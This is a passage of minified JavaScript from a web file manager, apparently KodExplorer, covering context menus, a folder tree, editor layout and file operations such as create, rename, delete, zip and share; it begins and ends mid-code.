{{else}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left, \n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background:{{endColor}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{startColor}}', endColorstr='{{endColor}}');\n background-image: -webkit-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -moz-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -o-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -ms-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n }\n {{/if}}\n}\n"),define("app/shareCommon/rightMenu",[],function(){var e=".menu-file",t=".menu-folder",a=".menu-more",i=".menu-tree-root",n=".menu-tree-folder",o=".menu-tree-file",s={"list-icon":{name:LNG.list_type,icon:"eye-open",items:{"set-icon":{name:LNG.list_icon,className:"menu-set-icon set-icon"},"set-list":{name:LNG.list_list,className:"menu-set-icon set-list"}}},"sort-by":{name:LNG.order_type,accesskey:"y",icon:"sort",items:{"set-sort-name":{name:LNG.name,className:"menu-set-sort set-sort-name"},"set-sort-ext":{name:LNG.type,className:"menu-set-sort set-sort-ext"},"set-sort-size":{name:LNG.size,className:"menu-set-sort set-sort-size"},"set-sort-mtime":{name:LNG.modify_time,className:"menu-set-sort set-sort-mtime"},sep105:"--------","set-sort-up":{name:LNG.sort_up,className:"menu-set-desc set-sort-up"},"set-sort-down":{name:LNG.sort_down,className:"menu-set-desc set-sort-down"}}},"set-file-icon-size":{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},r=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),c(),d(),p(),u(),m(),v(),k(),y(),$(".set-set-"+G.userConfig.listType).addClass("selected"),$(".set-sort-"+G.userConfig.listSortField).addClass("selected"),$(".set-sort-"+G.userConfig.listSortOrder).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},l=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),m(),k(),g(),b(),y(),$(".context-menu-root").addClass("animated fadeIn")},c=function(){$.contextMenu({selector:".menu-body-main",className:"file-continer-menu",zIndex:9999,callback:function(e,t){f(e,t)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------","list-icon":s["list-icon"],"sort-by":s["sort-by"],"set-file-icon-size":s["set-file-icon-size"],sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path+"Ctrl+F",className:"search",icon:"search",accesskey:"s"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:e,className:e.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},"open-with":{name:LNG.open_with,icon:"external-link",className:"open-with",accesskey:"a",items:{"open-with-first":{name:"",className:"hidden open-with-first"}}},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},"show-file":{name:LNG.show_file,className:"show-file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},u=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,className:a.substr(1),callback:function(e){h(e)},items:{down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},f=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"set-icon":ui.setListType("icon");break;case"set-list":ui.setListType("list");break;case"set-sort-name":ui.setListSort("name",0);break;case"set-sort-ext":ui.setListSort("ext",0);break;case"set-sort-size":ui.setListSort("size",0);break;case"set-sort-mtime":ui.setListSort("mtime",0);break;case"set-sort-up":ui.setListSort(0,"up");break;case"set-sort-down":ui.setListSort(0,"down");break;case"info":ui.path.info();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"open":ui.path.open();break;default:}},h=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"search":ui.path.search();break;case"show-file":ui.path.shareFile();break;case"open-project":ui.path.openProject();break;case"info":ui.path.info();break;default:}},m=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,callback:function(e){x(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},v=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){x(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},g=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){x(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},b=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){x(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},"open-with":{name:LNG.open_with,icon:"external-link",className:"open-with",accesskey:"a",items:{"open-with-first":{name:"",className:"hidden open-with-first"}}},download:{name:LNG.download,className:"download",icon:"download",accesskey:"x"},"show-file":{name:LNG.show_file,className:"show-file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},y=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-taskbar",items:{"quit-others":{name:LNG.close_others,className:"quit-others",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var a=t.$trigger.attr("id"),i=$.dialog.list[a];switch(e){case"quit-others":$.each($.dialog.list,function(e,t){a!=e&&t.close()});break;case"quit":i.close()}}})},k=function(){$.contextMenu({zIndex:9999,selector:".task-tab",items:{"close-all":{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},"show-all":{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},"hide-all":{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var a=t.$trigger.attr("id");switch($.dialog.list[a],e){case"show-all":$.each($.dialog.list,function(e,t){t.display(!0) -});break;case"hide-all":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"close-all":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})},x=function(e){switch(e){case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"info":ui.tree.info();break;case"explorer":ui.tree.explorer();break;case"open-project":ui.tree.openProject();break;case"show-file":ui.tree.showFile();break;case"download":ui.tree.download();break;case"search":ui.tree.search();break;case"refresh-all":ui.tree.init();break;case"quit":break;default:}};return{initExplorer:r,initEditor:l}}),define("app/src/shareEditor/ui",[],function(){var e=function(){var e=!1,t=0,a=0,i=0,n=$(".frame-left"),o=$(".frame-resize"),s=$(".frame-right");o.die("mousedown").live("mousedown",function(e){return 1!=e.which?!0:(r(e),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){l(e)}),$(document).one("mouseup",function(e){return c(e),this.releaseCapture&&this.releaseCapture(),stopPP(e),!1}),stopPP(e),!1)});var r=function(i){e=!0,t=i.pageX,a=$(".frame-left").width(),o.addClass("active"),$(".resize-mask").css("display","block")},l=function(r){if(!e)return!0;var l=r.pageX-t,c=a+l;i>c&&(c=i),c>$(document).width()-200&&(c=$(document).width()-200),n.css("width",c),o.css("left",c-5),s.css("left",c+1)},c=function(){return e?(e=!1,o.removeClass("active"),$(".resize-mask").css("display","none"),void 0):!1}},t=function(){$(".tools-left a").click(function(){var e=$(this).attr("class");switch(e){case"home":tree.init();break;case"view":tree.explorer();break;case"folder":tree.create("folder");break;case"file":tree.create("file");break;case"refresh":tree.init();break;default:}})};return{init:function(){e(),t(),tree.init(),Mousetrap.bind(["ctrl+s","command+s"],function(e){e.preventDefault(),e.returnvalue=!1,ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()})})},setTheme:function(e){core.setSkin(e,"app_editor.css"),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)})},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame-fullscreen")},fileHistory:function(e){var t=G.project;if(G.sid!==void 0&&(t=t+"__"+G.sid),t="editorHistory_"+t,void 0==e){var a=LocalData.get(t);return a=jsonDecode(a),$.isArray(a)||(a=[]),a}LocalData.set(t,jsonEncode(e))}}}),define("app/common/tree",["../path/pathOperate","../path/clipboard","../path/search"],function(e){var t,a,i=e("../path/pathOperate"),n=e("../path/clipboard"),o=e("../path/search"),s=!1;ui.pathOperate=i;var r=function(e,t){var a=["menu-tree-group","menu-tree-fav","menu-tree-folder-fav"];if(e&&e[0]&&-1!==$.inArray(e[0].menuType,a))return e;for(var i=[],n=[],o=0;e.length>o;o++)e[o].drop=!1,e[o].drag=!1,e[o].name=e[o].name,e[o].isParent&&e[o].children&&(e[o].children=r(e[o].children)),e[o].isWriteable,"folder"==e[o].type?n.push(e[o]):i.push(e[o]);return t?e:(n=n.sort(function(e,t){var e=e.name,t=t.name;return pathTools.strSort(e,t)}),i=i.sort(function(e,t){var e=e.name,t=t.name;return pathTools.strSort(e,t)}),n.concat(i))},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var a=LocalData.getConfig(t);return 0==a?{}:a}LocalData.setConfig(t,e)},n=function(t){for(var a=0;t.length>a;a++){var i=t[a].path;void 0!==e[i]&&(t[a].open=e[i])}return t},o=function(){for(var t=a.getNodesByFilter(function(e){return 0==e.level?!0:!1}),n={},o=0;t.length>o;o++)n[t[o].path]=t[o].open;return e=n,i(e),e};return e=i(),{list:function(){return e},reset:n,save:function(){setTimeout(o,50)}}}(),c=function(){$.ajax({url:G.appHost+Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folder-list-tree").html('
          '+LNG.system_error+"
          ")},success:function(e){if(!e.code)return $("#folder-list-tree").html('
          '+LNG.system_error+"
          "),void 0;var t=r(e.data,!0);t=l.reset(t),$.fn.zTree.init($("#folder-list-tree"),u,t),a=$.fn.zTree.getZTreeObj("folder-list-tree")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),core.isApp("editor")&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=a.getSelectedNodes()[0];if(i)switch(t){case"up":var n=i.getPreNode();if(n){if(n.open&&n.children.length>0)for(;n.open&&n.children&&n.children.length>=1;)n=n.children[n.children.length-1]}else n=i.getParentNode();a.selectNode(n);break;case"down":if(i.open&&i.children.length>=1)n=i.children[0];else{var o=i,n=o.getNextNode()||o.getParentNode().getNextNode();try{for(;!n;)o=o.getParentNode(),n=o.getNextNode()||o.getParentNode().getNextNode()}catch(e){}}a.selectNode(n);break;case"left":i.isParent?i.open?a.expandNode(i,!1):a.selectNode(i.getParentNode()):a.selectNode(i.getParentNode());break;case"right":i.open?a.selectNode(i.children[0]):a.expandNode(i,!0);break;default:}},p=function(){return core.isApp("editor")?!1:!0},u={async:{enable:!0,dataType:"json",url:function(){return G.appHost+Config.treeAjaxURL},autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,a){return a.code?r(a.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var a=15,i=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");i.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(i).before(''+core.iconSmall(o)+"").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="";i.before(s)}i.before("");var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menu-tree-file"),"folder"==t.type&&(r="menu-tree-folder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+pathTools.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime;"file"!=t.type&&(l=t.name),i.parent().addClass(r).attr("title",l),0==t.isWriteable&&i.parent().addClass("file-not-writeable"),0==t.isReadable&&i.parent().addClass("file-not-readable"),0===t.exists&&i.parent().addClass("file-not-readable")}},callback:{onClick:function(e,t,i){if(0==i.level&&l.save(),$(e.target).hasClass("menu-item")||$(e.target).parent().hasClass("menu-item")){var n=$("#"+i.tId+"_a"),o=n.find(".menu-item");return n.contextMenu({x:o.offset().left+o.width(),y:o.offset().top}),stopPP(e)}return a.selectNode(i),core.isApp("editor")&&"folder"==i.type?(a.expandNode(i),void 0):(core.isApp("editor")||"folder"!=i.type?(kodApp.setLastOpenTarget($("#"+i.tId)),kodApp.open(f().path)):ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,a){0==a.level&&l.save()},onExpand:function(e,t,a){0==a.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(a.expandNode(i),void 0)},beforeRightClick:function(e,t){a.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,n,o){return $("#"+n.tId+"_my_ico").removeClass("ico_loading"),0==o.data.length?(a.removeChildNodes(n),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,n,o){var s=o.getParentNode();if(a.getNodesByParam("name",o.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),a.removeNode(o),void 0;if(o.create){var r=o.path+"/"+o.name;"folder"==o.type?i.newFolder(r,function(){t=function(){var e=a.getNodesByParam("name",o.name,s)[0];a.selectNode(e),b()},h(s)}):i.newFile(r,function(){t=function(){var e=a.getNodesByParam("name",o.name,s)[0];a.selectNode(e),b()},h(s)})}else{var l=rtrim(o.path,"/"),c=core.pathFather(o.path)+o.name;i.rname(l,c,function(e){o.path=e,t=function(){var e=a.getNodesByParam("name",o.name,s)[0];a.selectNode(e),b(),"folder"==o.type&&ui.path.list(o.path)},h(s)})}},beforeDrag:function(e,t){for(var a=0,i=t.length;i>a;a++)if(t[a].drag===!1)return!1;return!0},beforeDrop:function(e,t,a){return a?a.drop!==!1:!0},onDrop:function(e,t,a,i){var o="",s="",r=a[0];(r.father||r.thisPath)&&(o=r.father+urlEncode(r.name),s=i.father+urlEncode(i.name),n.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},f=function(e){if(a){var t=a.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=a.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(a.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){g(G.KOD_USER_FAV),b()},v=function(){m(),g(G.KOD_GROUP_ROOT_SELF),g(G.KOD_GROUP_ROOT_ALL)},g=function(e){var t=a.getNodesByParam("path",e,null);h(t[0])},b=function(){core.isApp("explorer")&&ui.f5()};return{makeParam:f,treeOpenHistory:l,treeDataSort:r,init:c,refresh:h,refreshPath:g,refreshFav:m,refreshGroup:v,zTree:function(){return a},openEditor:function(){kodApp.open(f().path)},openWindow:function(){kodApp.openWindow(f().path)},share:function(){i.share(f())},download:function(){"folder"==f().type?i.zipDownload(f(!0)):kodApp.download(f().path)},setSelect:function(e){return},open:function(){if(!($(".dialog-path-remove").length>=1)){var e=f();"oexe"==e.type&&(e.path=e.node),kodApp.setLastOpenTarget($(".curSelectedNode").parent()),kodApp.open(e.path,e.type)}},fav:function(){var e=f();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=f();i.createLink(t.path,t.node.name,t.type,e,b)},search:function(){o("",f().path)},appEdit:function(){var e=f(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(f(!0))},copy:function(){n.copy(f(!0))},cute:function(){n.cute(f(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){n.copyDrag(f(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){n.cuteDrag(f(!0),e,function(){g()})})},past:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),n.past(e.path,function(){b(),h(e.node)})},clone:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),n.copyDrag(f(!0),core.pathFather(e.path),function(){b(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},favRemove:function(){i.favRemove(f().node.name,function(e){Tips.tips(e),m()})},remove:function(){var e=f(!0),t=e[0].node.getParentNode();e[0].type=e[0].node.type,e[0].type="folder"==e[0].type?"folder":"file",i.remove(e,function(){b(),h(t)})},checkIfChange:function(e){s||(s=!0,a&&(a.getNodesByFilter(function(t){var a=t.path;return"folder"==t.type&&core.pathClear(a)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){s=!1},500)))},explorer:function(){var e=a.getSelectedNodes();if(0>=e.length){var t=a.getNodes();a.selectNode(t[0])}var i=f().path;"folder"!=f().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(f().path)},create:function(e){var i=a.getSelectedNodes();if(0>=i.length){var n=a.getNodes();a.selectNode(n[0])}else"file"==i[0].type&&a.selectNode(i[0].getParentNode());var o=f(),s=o.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;a.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:o.path}}else{for(var p=e;a.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:o.path}}if(void 0!=s.children){var u=a.addNodes(s,newNode)[0];a.editName(u)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=a.addNodes(s,newNode)[0];a.editName(e)},s.isParent?a.expandNode(s):t()},showFile:function(){var e=G.appHost+"share/file&sid="+G.sid+"&user="+G.user+"&path="+f().path;window.open(e)},rname:function(){var e=a.getSelectedNodes()[0];a.editName(e),e.beforeName=e.name}}}),define("app/path/pathOperate",[],function(e){tplFileInfo=e("./tpl/fileinfo/fileInfo.html"),tplPathInfo=e("./tpl/fileinfo/pathInfo.html");var t=["/","\\",":","*","?",'"',"<",">","|"],a=["/","\\"],i=function(e){var i=function(e,t){for(var a=t.length,i=0;a>i;i++)if(e.indexOf(t[i])>0)return!0;return!1},n=a;return G.systemOS&&"windows"==G.systemOS&&(n=t),i(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var t=[],a=function(e){return e?e.replace(/"/g,'\\\\"'):e},i=0;e.length>i;i++)t.push({type:a(e[i].type),path:urlEncode(a(e[i].path))});return"dataArr="+jsonEncode(t)},o=function(e,t){if(e){var a=core.pathThis(e);return i(a)?($.ajax({dataType:"json",url:G.appHost+"explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},s=function(e,t){if(e){var a=core.pathThis(e);return i(a)?($.ajax({dataType:"json",url:G.appHost+"explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},r=function(e,t,a){return e&&t&&e!=t?i(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:G.appHost+"explorer/pathRname",data:"path="+urlEncode(e)+"&rnameTo="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof a&&(e&&e.info?a(e.info):a(!1))}}),void 0):("function"==typeof a&&a(),void 0):void 0},l=function(e,t,a,i){if(a=void 0==a?!1:a,i=void 0==i?!1:i,window.event&&window.event.shiftKey&&(i=!0),!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r=G.appHost+"explorer/pathDelete",l=n(e);if("share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r=G.appHost+"userShare/del"),i&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle-clear"==e[0].type||G.USER_RECYCLE&&G.thisPath==G.USER_RECYCLE||G.thisPath==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r=G.appHost+"explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle-clear"==e[0].type&&(l="postEmpty=1")),e[0]&&e[0].path){var c=""+htmlEncode(core.pathThis(e[0].path))+"";s=e.length>1?c+' ... '+e.length+LNG.remove_item+"
          "+s:c+"
          "+s}var d=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(a){if(Tips.close(a),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.selfShare=a.info;var i=$.dialog.list["share-dialog"];void 0!=i&&i.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(a)}})};a?d():$.dialog({id:"dialog-path-remove",fixed:!0,icon:"question",title:o,padding:"40px 40px",lock:!0,background:"#000",opacity:.1,content:"
          "+s+"
          ",ok:d,cancel:!0})}},c=function(e){if(core.authCheck("explorer.fileDownload",!0)&&!(1>e.length)){var t=G.appHost+"explorer/zipDownload";G.sharePage!==void 0&&(t=G.appHost+"share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t=G.appHost+"explorer/fileDownloadRemove&path="+urlEncode(e.info);t+="&accessToken="+G.accessToken,G.sharePage!==void 0&&(t=G.appHost+"share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},d=function(e,t,a){1>e.length||(a||(a="zip"),$.ajax({url:G.appHost+"explorer/zip&fileType="+a,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},p=function(e,t,a){if(e){var i=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n=G.appHost+"explorer/unzip&path="+urlEncode(e);"toThis"==a&&(n+="&toThis=1"),"toFolder"==a?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&pathTo="+e,i(n)}):i(n)}},u=function(e){var t=e.path,a=core.pathPre(t);if(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE||a==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_share,"warning"),void 0;var i="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare.set",!0)&&$.ajax({url:G.appHost+"userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)f(e.data);else{G.selfShare=e.info;var a={path:t,type:i,name:core.pathThis(t)};h(a,function(e){e.code?(G.selfShare=e.info,ui.f5(),f(e.data)):(Tips.tips(e),f(void 0,function(){$(".content-info input[name=type]").val(i),$(".content-info input[name=path]").val(t),$(".content-info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==i&&($(".label-code-read").addClass("hidden"),$(".label-can-upload").addClass("hidden"))}))})}}})},f=function(t,a){0!=$(".share-dialog").length&&$(".share-dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=a&&a()})},h=function(e,t){$.ajax({url:G.appHost+"userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share-create-button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share-create-button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var a=e("./tpl/share.html"),i=template.compile(a),n=i({LNG:LNG});$.dialog({id:"share-dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share-time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share-time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share-setting-more").addClass("hidden"),void 0==e)$(".share-has-url").addClass("hidden"),$(".share-action .share-remove-button").addClass("hidden"),$(".content-info input[name=sid]").val(""),$(".content-info input[name=type]").val(""),$(".content-info input[name=name]").val(""),$(".content-info input[name=showName]").val(""),$(".content-info input[name=path]").val(""),$(".content-info input[name=timeTo]").val(""),$(".content-info input[name=sharePassword]").val(""),$(".share-view-info").addClass("hidden");else{e.canUpload===void 0&&(e.canUpload=""),t=e,e.showName||(e.showName=e.name),$(".content-info input[name=sid]").val(e.sid),$(".content-info input[name=type]").val(e.type),$(".content-info input[name=name]").val(e.name),$(".content-info input[name=showName]").val(e.showName),$(".content-info input[name=path]").val(e.path),$(".content-info input[name=timeTo]").val(e.timeTo),$(".content-info input[name=sharePassword]").val(e.sharePassword),$(".share-view-info").removeClass("hidden"),e.numDownload===void 0&&(e.numDownload=0),e.numView===void 0&&(e.numView=0);var a=LNG.share_view_num+e.numView+" "+LNG.share_download_num+e.numDownload;$(".share-view-info").html(a),"1"==e.codeRead?$(".content-info input[name=codeRead]").attr("checked","checked"):$(".content-info input[name=codeRead]").removeAttr("checked"),"1"==e.notDownload?$(".content-info input[name=notDownload]").attr("checked","checked"):$(".content-info input[name=notDownload]").removeAttr("checked"),"1"==e.canUpload?$(".content-info input[name=canUpload]").attr("checked","checked"):$(".content-info input[name=canUpload]").removeAttr("checked"),$(".share-has-url").removeClass("hidden"),"file"==e.type?($(".label-code-read").addClass("hidden"),$(".label-can-upload").addClass("hidden")):($(".label-code-read").removeClass("hidden"),$(".label-can-upload").removeClass("hidden"));var i=e.type;"folder"==e.type&&(i=1==e.codeRead?"codeRead":"folder");var n=G.appHost+"share/"+i+"&user="+G.userID+"&sid="+e.sid;$(".content-info .share-url").val(n),(e.timeTo||e.sharePassword||e.canUpload||e.codeRead||e.notDownload)&&$(".share-setting-more").removeClass("hidden"),$(".share-remove-button").removeClass("hidden"),$(".share-create-button").text(LNG.share_save)}},r=function(){$(".share-action .share-remove-button").unbind("click").click(function(){l([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content-info .share-more").unbind("click").click(function(){$(".share-setting-more").toggleClass("hidden")}),$(".share-action .share-create-button").unbind("click").click(function(){var e="";$(".share-dialog .content-info input[name]").each(function(){var 